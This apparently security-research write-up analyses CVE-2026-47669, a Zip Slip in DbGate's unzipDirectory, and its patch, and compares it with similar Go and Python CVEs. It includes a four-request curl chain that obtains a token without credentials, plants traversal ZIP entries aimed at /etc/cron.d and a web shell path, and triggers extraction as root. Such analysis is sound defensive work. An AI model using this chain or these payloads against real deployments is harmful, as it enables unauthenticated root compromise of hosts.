DbGate's v7.1.9 patch for CVE-2026-47669 closes a Zip Slip in unzipDirectory. The patch does not change the function's path.join call. The patch adds four lines that read what path.join returned, because path.join was never the sandbox.
CVE-2026-47669: DbGate's unzipDirectory Joined The Path Out Of The Archive.
vendor
patterns
cve
proof of concept
The patch leaves the path.join call exactly where it was
- const destPath = path.join(outputDirectory, entry.fileName);
+ const destPath = path.join(outputDirectory, entry.fileName);
+ const resolvedDest = path.resolve(destPath);
+
+ // Zip-slip protection: every extracted path must stay inside outputDirectory
+ if (resolvedDest !== resolvedOutputDir && !resolvedDest.startsWith(resolvedOutputDir + path.sep)) {
+ return safeReject(
+ new Error(`DBGM-00000 ZIP slip detected: entry "${entry.fileName}" would escape output directory`)
+ );
+ }The diff is in packages/api/src/shell/unzipDirectory.js. The pre-patch line composing destPath is preserved verbatim. The four added lines compute path.resolve(destPath) and compare it against a separately resolved outputDirectory boundary, rejecting any entry whose absolute path is not inside the prefix. The composition is the same. The check around it is new.
The shape of that diff is the whole post. path.join(outputDirectory, entry.fileName) was never going to keep things inside outputDirectory. The developer who wrote v7.1.8 thought it was. The developer who wrote v7.1.9 has read what the function actually does.
Node's path.join is a normalizer by spec
Node's documentation for path.join describes the function as joining segments using the platform separator and "then normalizing the resulting path." Normalization includes resolving .. segments by walking back one directory each. The function does what its docs say.
path.join('/var/lib/dbgate-data/archive/foo', '../../../../../../etc/cron.d/pwn') evaluates to /etc/cron.d/pwn. The .. segments are cleaned, the base is consumed in the cleaning, the result escapes the prefix that the developer pictured as a boundary. There is no error, no warning, no return value indicating that the path left the parent. There never was.
In v7.1.8, that one call was the entire scoping discipline for ZIP extraction:
zipFile.on('entry', entry => {
const destPath = path.join(outputDirectory, entry.fileName);
// Handle directories (their names always end with "/" in ZIPs)
if (/\/$/.test(entry.fileName)) {
fs.promises
.mkdir(destPath, { recursive: true })
.then(() => zipFile.readEntry())
.catch(reject);
return;
}
// Handle files
const filePromise = fs.promises
.mkdir(path.dirname(destPath), { recursive: true })
.then(
() =>
new Promise((res, rej) => {
zipFile.openReadStream(entry, (err, readStream) => {
if (err) return rej(err);
const writeStream = fs.createWriteStream(destPath);
readStream.pipe(writeStream);entry.fileName is a byte sequence carried inside the ZIP central directory. The ZIP format places no restriction on those bytes; they are not filenames in the operating-system sense until something writes a file with them. yauzl exposes them verbatim. DbGate composed them into outputDirectory via path.join, then handed the result to fs.promises.mkdir(destPath, { recursive: true }) and fs.createWriteStream(destPath). The composition was treated as if it scoped the write to outputDirectory. The composition normalized.
A ZIP entry named ../../../../../../etc/cron.d/pwn writes to /etc/cron.d/pwn. A ZIP entry named ../../../../../../var/www/html/shell.php writes to /var/www/html/shell.php. Whatever path the archive declares, the extractor honors, as the process's user.
The chain is unauthenticated in the default container
The advisory describes the surface as unauthenticated in default Docker deployments. The code in v7.1.8 confirms it line by line.
packages/api/src/auth/authProvider.js defines AuthProviderBase and four subclasses. The base class's login method:
async login(login, password, options = undefined, req = undefined) {
return {
accessToken: jwt.sign(
{
amoid: this.amoid,
},
getTokenSecret(),
{ expiresIn: getTokenLifetime() }
),
};
}Two parameters named login and password. Neither is read. The function returns a freshly signed JWT for any caller.
createEnvAuthProvider() picks the subclass to install at startup. The selection branches on environment variables: AUTH_PROVIDER, STORAGE_DATABASE, OAUTH_AUTH, AD_URL, then LOGIN/PASSWORD or LOGIN_PASSWORD_*. With none of those set, the default branch returns new AuthProviderBase(). That is the configuration produced by docker run dbgate/dbgate with no environment overrides, the configuration the project's quickstart documents as the way to try it.
SKIP_AUTH_PATHS in packages/api/src/controllers/auth.js lists /auth/login. The login endpoint is unauthenticated by construction; it has to be, because authentication is what it grants. POST /auth/login with any JSON body returns a JWT. The JWT then satisfies the middleware on every other route, including the one that reaches unzipDirectory.
docker/Dockerfile carries no USER directive. The process runs as root. VOLUME /root/.dbgate declares the data path under root's home.
The full chain against a default deployment is four requests:
# 1. Trade nothing for a token.
TOKEN=$(curl -s -X POST http://target:3000/auth/login \
-H "Content-Type: application/json" \
-d '{"login":"x","password":"x","amoid":"none"}' \
| jq -r .accessToken)
# 2. Upload a ZIP whose entries are named ../../../../../etc/cron.d/pwn etc.
FILE_PATH=$(curl -s -X POST http://target:3000/uploads/upload \
-H "Authorization: Bearer $TOKEN" \
-F "[email protected]" | jq -r .filePath)
# 3. Move the upload into the archive folder.
curl -s -X POST http://target:3000/archive/save-uploaded-zip \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"filePath\":\"$FILE_PATH\",\"fileName\":\"evil.zip\"}"
# 4. Extract. unzipDirectory walks every entry through path.join with no boundary check.
curl -s -X POST http://target:3000/archive/unzip \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"folder":"evil.zip"}'Step 4 enters the controller's unzip method:
async unzip({ folder }) {
const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });
await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));
socket.emitChanged(`archive-folders-changed`);
return null;
},unzipDirectory enters the entry loop. Every entry.fileName of the form ../../../... is path.join'd into the output directory, normalized out of it, and handed to fs.createWriteStream or fs.promises.mkdir. Anything the ZIP declares gets written, as root, on the host's filesystem. Dropping a file into /etc/cron.d/ is the demonstrated path to RCE; the writable directory list on a Linux host is longer than that, and the extractor reaches all of them.
This is the unauth-write-to-execution-path shape end to end: an unauthenticated entry (the base auth provider's empty login), an arbitrary-write primitive (the unbounded path.join), and a destination the operating system runs as code (/etc/cron.d/, the document root of an adjacent webserver, a systemd unit directory). The default container ships every link of that chain enabled. None of the three are configurable away in the quickstart.
The same codebase already knew about path traversal
packages/api/src/controllers/uploads.js defines a get route for downloading a previously uploaded file:
get(req, res) {
if (req.query.file.includes('..') || req.query.file.includes('/') || req.query.file.includes('\\')) {
res.status(400).send('Invalid file path');
return;
}
res.sendFile(path.join(uploadsdir(), req.query.file));
},The author of uploads.js saw path.join(uploadsdir(), req.query.file) and recognized the shape: a path-joining helper with an attacker-controlled segment. They added a substring blocklist on .., /, and \ to constrain the segment before the join. The check is crude, the recognition was right. The trust boundary was named.
The author of unzipDirectory.js wrote path.join(outputDirectory, entry.fileName) and did not. The two files live in adjacent directories under packages/api/src/. The trust-boundary reasoning that produced the uploads.js check stopped before reaching the ZIP entry loop, because the developer's mental model placed attacker-controlled input at the HTTP query string. The entries inside a ZIP arrive over HTTP wrapped inside another file. The bytes are no less attacker-controlled for being wrapped.
The post-patch unzipDirectory.js adds the boundary check the codebase already knew how to write. The pre-patch version is what happened when the recognition did not cross the file boundary.
Third language, third standard library, same helper
We have now published three writeups on this pattern in seven weeks.
Casdoor's GetFullPath (CVE-2026-6815) composed Go's filepath.Join(BaseDir, path) with filepath.Abs and treated the composition as scoping. Go's filepath.Join is documented to clean .. segments. filepath.Join("/app/files", "../../../../etc/passwd") returns /etc/passwd. The patch added filepath.Clean with a strings.HasPrefix(BaseDir + Separator, ...) check after the join.
NASA AIT-Core's _get_log_file (CVE-2026-47731) composed Python's os.path.join(handler["log_dir"], handler["path"], filename) and treated the composition as scoping. Python's os.path.join is documented to discard everything before an absolute-path component. A caller-supplied path=/etc/cron.d overwrote the base. The patch added os.path.realpath(log_file).startswith(os.path.realpath(root) + os.sep) after the join.
DbGate's unzipDirectory (CVE-2026-47669) composed Node's path.join(outputDirectory, entry.fileName) and treated the composition as scoping. Node's path.join is documented to normalize, which includes resolving .. segments. entry.fileName = "../../../../../../etc/cron.d/pwn" produced /etc/cron.d/pwn. The patch added path.resolve(destPath).startsWith(resolvedOutputDir + path.sep) after the join.
Three standard libraries. Three documented behaviors that are not what the developer thought the function did. Three patches with the same shape: leave the Join exactly where it is, add the prefix check after. This is the Join Is Not Sandbox pattern, and DbGate is its Node exhibit.
The pattern compounds because the helper compounds. Every general-purpose language ships a path-joining function. Every documentation page describes it as joining. None of them describe it as scoping, because none of them scope. The fix on every CVE in this class is in the four lines a developer must remember to write after the call.
PoC and advisory: GHSA-h535-j5hr-mv56
The fix in unzipDirectory.js leaves path.join(outputDirectory, entry.fileName) exactly where it was. The four lines around it are the sandbox the function had never had.